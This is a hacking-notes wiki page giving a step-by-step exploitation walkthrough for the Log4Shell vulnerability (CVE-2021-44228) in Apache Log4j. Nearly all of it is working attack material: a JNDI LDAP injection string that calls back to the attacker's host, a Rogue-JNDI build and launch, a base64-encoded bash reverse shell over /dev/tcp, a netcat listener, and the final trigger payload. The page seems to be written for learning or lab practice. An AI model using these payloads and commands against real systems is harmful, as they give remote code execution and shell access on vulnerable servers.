> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/cve-log4shell-wip.md).

# CVE - Log4Shell (WIP)

**I**s a critical vulnerability now reported as [*CVE-2021-44228*](https://nvd.nist.gov/vuln/detail/cve-2021-44228) discovered in the Apache *Log4j* library, widely used for logging in Java-based applications. It allows attackers to execute arbitrary code on a server by injecting a malicious payload into a log message. 

Here we can find a way to do an attack on a target affected by this vulnerability:

* Send a payload to confirm the server is connecting back

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong># Insert this payload on the vulnerable point
</strong><strong>${jndi:ldap://$IP/test} # Specify your IP
</strong><strong>
</strong><strong># Set TCP listener on our machine
</strong>sudo tcpdump -i $interface port $LDAPport # Specify the Network Interface you are using and the port running LDAP which by default is 389

# If it works, we will see a result like this
01:02:56.775423 IP $TargetIP.48214 > $OurIP.ldap: Flags [S], seq 1793598680, win 64240, options [mss 1340,sackOK,TS val 2750652936 ecr 0,nop,wscale 7], length 0
01:02:56.775456 IP $OurIP.ldap > $TargetIP.48214: Flags [R.], seq 0, ack 1793598681, win 0, length 0
</code></pre>

***

* Install necessary Java tools to generate a payload

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">sudo apt install maven
<strong>sudo apt install openjdk-24-jdk
</strong></code></pre>

***

* Download and build the *Rogue-JNDI* Java application

{% code overflow="wrap" lineNumbers="true" %}

```bash
git clone https://github.com/veracode-research/rogue-jndi
cd 
mvn package
```

{% endcode %}

***

* Create a payload to use&#x20;

{% code overflow="wrap" lineNumbers="true" %}

```bash
echo 'bash -c bash -i >&/dev/tcp/$IP/$port 0>&1' | base64
```

{% endcode %}

{% hint style="info" %}
This example is done with a reverse shell but could be any command desired for the RCE, and we encode the payload to avoid issues with Rogue-JNDI
{% endhint %}

***

* Start the *Rogue-JNDI* application while passing in the payload

{% code overflow="wrap" lineNumbers="true" %}

```bash
# Use the encoded payload and specify your IP
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,$encPayload}|{base64,-d}|{bash,-i}" --hostname "$IP"

# If it works, we will see a result like this
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.14.117:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.10.14.117:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.10.14.117:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.10.14.117:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://10.10.14.117:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.10.14.117:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.10.14.117:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.10.14.117:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```

{% endcode %}

***

* (Optional) Set up a [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener

{% code overflow="wrap" lineNumbers="true" %}

```bash
nc -nvlp 4444
```

{% endcode %}

{% hint style="info" %}
This is done working with the example of the reverse shell
{% endhint %}

***

* Access to the created payload using the vulnerable point

{% code overflow="wrap" lineNumbers="true" %}

```bash
${jndi:ldap://$IP:1389/o=tomcat}
#If successful the command will be executed on the target host
```

{% endcode %}